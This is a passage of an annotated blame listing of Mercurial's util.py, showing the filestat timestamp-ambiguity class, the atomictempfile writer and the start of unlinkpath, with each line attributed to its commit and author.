2176 9b42304d9896 fix file handling bugs on windows. Vadim Gelfer <vadim.gelfer@gmail.com> parents: 2117 diff changeset	2327
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2328
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2329 class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2330 """help to exactly detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2331
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2332 'stat' attribute is result of 'os.stat()' if specified 'path'
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2333 exists. Otherwise, it is None. This can avoid preparative
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2334 'exists()' examination on client side of this class.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2335 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2336
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2337 def __init__(self, stat):
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2338 self.stat = stat
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2339
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2340 @classmethod
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2341 def frompath(cls, path):
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2342 try:
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2343 stat = os.stat(path)
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2344 except OSError as err:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2345 if err.errno != errno.ENOENT:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2346 raise
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2347 stat = None
7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2348 return cls(stat)
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2349
32835 1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2350 @classmethod
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2351 def fromfp(cls, fp):
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2352 stat = os.fstat(fp.fileno())
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2353 return cls(stat)
1b25c648d5b7 fsmonitor: don't write out state if identity has changed (issue5581) Siddharth Agarwal <sid0@fb.com> parents: 32792 diff changeset	2354
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2355 __hash__ = object.__hash__
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2356
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2357 def __eq__(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2358 try:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2359 # if ambiguity between stat of new and old file is
30342 318a24b52eeb spelling: fixes of non-dictionary words Mads Kiilerich <madski@unity3d.com> parents: 30339 diff changeset	2360 # avoided, comparison of size, ctime and mtime is enough
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2361 # to exactly detect change of a file regardless of platform
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2362 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2363 self.stat.st_size == old.stat.st_size
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2364 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2365 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2366 )
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2367 except AttributeError:
32769 b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2368 pass
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2369 try:
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2370 return self.stat is None and old.stat is None
b5524fd9a4e3 util: make filestat.__eq__ return True if both of self and old have None stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32766 diff changeset	2371 except AttributeError:
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2372 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2373
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2374 def isambig(self, old):
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2375 """Examine whether new (= self) stat is ambiguous against old one
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2376
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2377 "S[N]" below means stat of a file at N-th change:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2378
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2379 - S[n-1].ctime < S[n].ctime: can detect change of a file
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2380 - S[n-1].ctime == S[n].ctime
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2381 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2382 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2383 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2384 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2385
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2386 Case (*2) above means that a file was changed twice or more at
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2387 same time in sec (= S[n-1].ctime), and comparison of timestamp
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2388 is ambiguous.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2389
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2390 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2391 timestamp is ambiguous".
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2392
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2393 But advancing mtime only in case (*2) doesn't work as
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2394 expected, because naturally advanced S[n].mtime in case (*1)
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2395 might be equal to manually advanced S[n-1 or earlier].mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2396
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2397 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2398 treated as ambiguous regardless of mtime, to avoid overlooking
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2399 by confliction between such mtime.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2400
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2401 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2402 S[n].mtime", even if size of a file isn't changed.
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2403 """
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2404 try:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2405 return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
29200 ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2406 except AttributeError:
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2407 return False
ca4065028e00 util: add filestat class to detect ambiguity of file stat FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29017 diff changeset	2408
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2409 def avoidambig(self, path, old):
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2410 """Change file stat of specified path to avoid ambiguity
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2411
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2412 'old' should be previous filestat of 'path'.
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2413
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2414 This skips avoiding ambiguity, if a process doesn't have
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2415 appropriate privileges for 'path'. This returns False in this
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2416 case.
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2417
77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2418 Otherwise, this returns True, as "ambiguity is avoided".
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2419 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2420 advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2421 try:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2422 os.utime(path, (advanced, advanced))
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2423 except OSError as inst:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2424 if inst.errno == errno.EPERM:
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2425 # utime() on the file created by another user causes EPERM,
b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2426 # if a process doesn't have appropriate privileges
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2427 return False
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2428 raise
32766 77f354ae1123 util: make filestat.avoidambig() return whether ambiguity is avoided or not FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 32674 diff changeset	2429 return True
30253 b496a464399c util: add utility function to skip avoiding file stat ambiguity if EPERM FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 30181 diff changeset	2430
29298 82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2431 def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2432 return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29261 diff changeset	2433
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2434
8778 c5f36402daad use new style classes Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8631 diff changeset	2435 class atomictempfile(object):
17424 e7cfe3587ea4 fix trivial spelling errors Mads Kiilerich <mads@kiilerich.com> parents: 17391 diff changeset	2436 '''writable file object that atomically updates a file
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2437
14008 da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close(). Greg Ward <greg@gerg.ca> parents: 14007 diff changeset	2438 All writes will go to a temporary copy of the original file. Call
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2439 close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2440 the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2441 visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2442 writes are discarded.
29367 4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2443
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2444 checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2445 useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29342 diff changeset	2446 or repo.wlock).
14008 da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close(). Greg Ward <greg@gerg.ca> parents: 14007 diff changeset	2447 '''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2448
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2449 def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2450 self.__name = name # permanent name
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2451 self._tempname = mktempcopy(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2452 name,
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2453 emptyok=(b'w' in mode),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2454 createmode=createmode,
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2455 enforcewritable=(b'w' in mode),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2456 )
41289 593f6359681d update: fix edge-case with update.atomic-file and read-only files Boris Feld <boris.feld@octobus.net> parents: 40898 diff changeset	2457
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2458 self._fp = posixfile(self._tempname, mode)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2459 self._checkambig = checkambig
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2460
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2461 # delegated methods
29393 50269a4dce61 atomictempfile: add read to the supported file operations Martijn Pieters <mjpieters@fb.com> parents: 29367 diff changeset	2462 self.read = self._fp.read
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2463 self.write = self._fp.write
17237 e73128535105 util: delegate seek and tell methods of atomictempfile Bryan O'Sullivan <bryano@fb.com> parents: 17203 diff changeset	2464 self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile Bryan O'Sullivan <bryano@fb.com> parents: 17203 diff changeset	2465 self.tell = self._fp.tell
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2466 self.fileno = self._fp.fileno
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2467
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2468 def close(self):
8785 7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8778 diff changeset	2469 if not self._fp.closed:
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2470 self._fp.close()
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2471 filename = localpath(self.__name)
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2472 oldstat = self._checkambig and filestat.frompath(filename)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2473 if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2474 rename(self._tempname, filename)
32792 7ad95626f6a7 filestat: move __init__ to frompath constructor Siddharth Agarwal <sid0@fb.com> parents: 32769 diff changeset	2475 newstat = filestat.frompath(filename)
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2476 if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2477 # stat of changed file is ambiguous to original one
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2478 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
29201 a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2479 os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2480 else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 29200 diff changeset	2481 rename(self._tempname, filename)
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2482
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2483 def discard(self):
8785 7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 8778 diff changeset	2484 if not self._fp.closed:
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2485 try:
14007 d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2486 os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2487 except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__(). Greg Ward <greg@gerg.ca> parents: 14004 diff changeset	2488 pass
8327 aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it Bryan O'Sullivan <bos@serpentine.com> parents: 8312 diff changeset	2489 self._fp.close()
4827 89defeae88f3 turn util.opener into a class Alexis S. L. Carvalho <alexis@cecm.usp.br> parents: 4803 diff changeset	2490
13098 f7d6750dcd01 util: make atomicfiles closable Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13072 diff changeset	2491 def __del__(self):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2492 if safehasattr(self, '_fp'): # constructor actually did something
15057 774da7121fc9 atomictempfile: make close() consistent with other file-like objects. Greg Ward <greg@gerg.ca> parents: 15050 diff changeset	2493 self.discard()
13098 f7d6750dcd01 util: make atomicfiles closable Dan Villiom Podlaski Christiansen <danchr@gmail.com> parents: 13072 diff changeset	2494
29394 6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2495 def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2496 return self
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2497
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2498 def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2499 if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2500 self.discard()
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2501 else:
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2502 self.close()
6d96658a22b0 atomictempfile: add context manager support Martijn Pieters <mjpieters@fb.com> parents: 29393 diff changeset	2503
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2504
38497 da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2505 def unlinkpath(f, ignoremissing=False, rmdir=True):
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2506 """unlink and remove the directory if it is empty"""
31547 bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2507 if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2508 tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31546 diff changeset	2509 else:
31545 52361c4f4dac util: unify unlinkpath Ryan McElroy <rmcelroy@fb.com> parents: 31539 diff changeset	2510 unlink(f)
38497 da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2511 if rmdir:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2512 # try removing directories that might now be empty
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826) Kyle Lippincott <spectral@google.com> parents: 38386 diff changeset	2513 try:
